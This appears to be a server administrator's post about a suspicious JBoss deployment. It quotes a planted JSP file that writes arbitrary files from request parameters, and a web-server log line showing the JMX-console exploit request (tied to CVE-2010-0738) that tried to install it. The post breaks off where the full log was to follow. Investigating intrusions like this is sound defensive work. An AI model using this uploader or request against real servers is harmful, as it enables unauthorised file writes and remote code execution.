I noticed a new deployment called myname.war with index.jsp which had the following inside:

<%
if(request.getParameter("f")!=null)
(new java.io.FileOutputStream(application.getRealPath("
") + request.getParameter("f"))).write(request.getParameter("t").getBytes()
);
%>
mynameok

I looked into my web server logs and found the following entry:

ssl_access_log.1:10.101.48.70 - - [16/Apr/2013:19:09:13 -0600] "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" 401 -

I double-checked our server and we had implemented the fixes for CVE-2010-0738. (We've seen attempts by the JBoss worm trying to install the kisses.tar.gz exploit, but they've been unsuccessful so far.)

Here is the complete log of the exploit as recorded by the webserver:
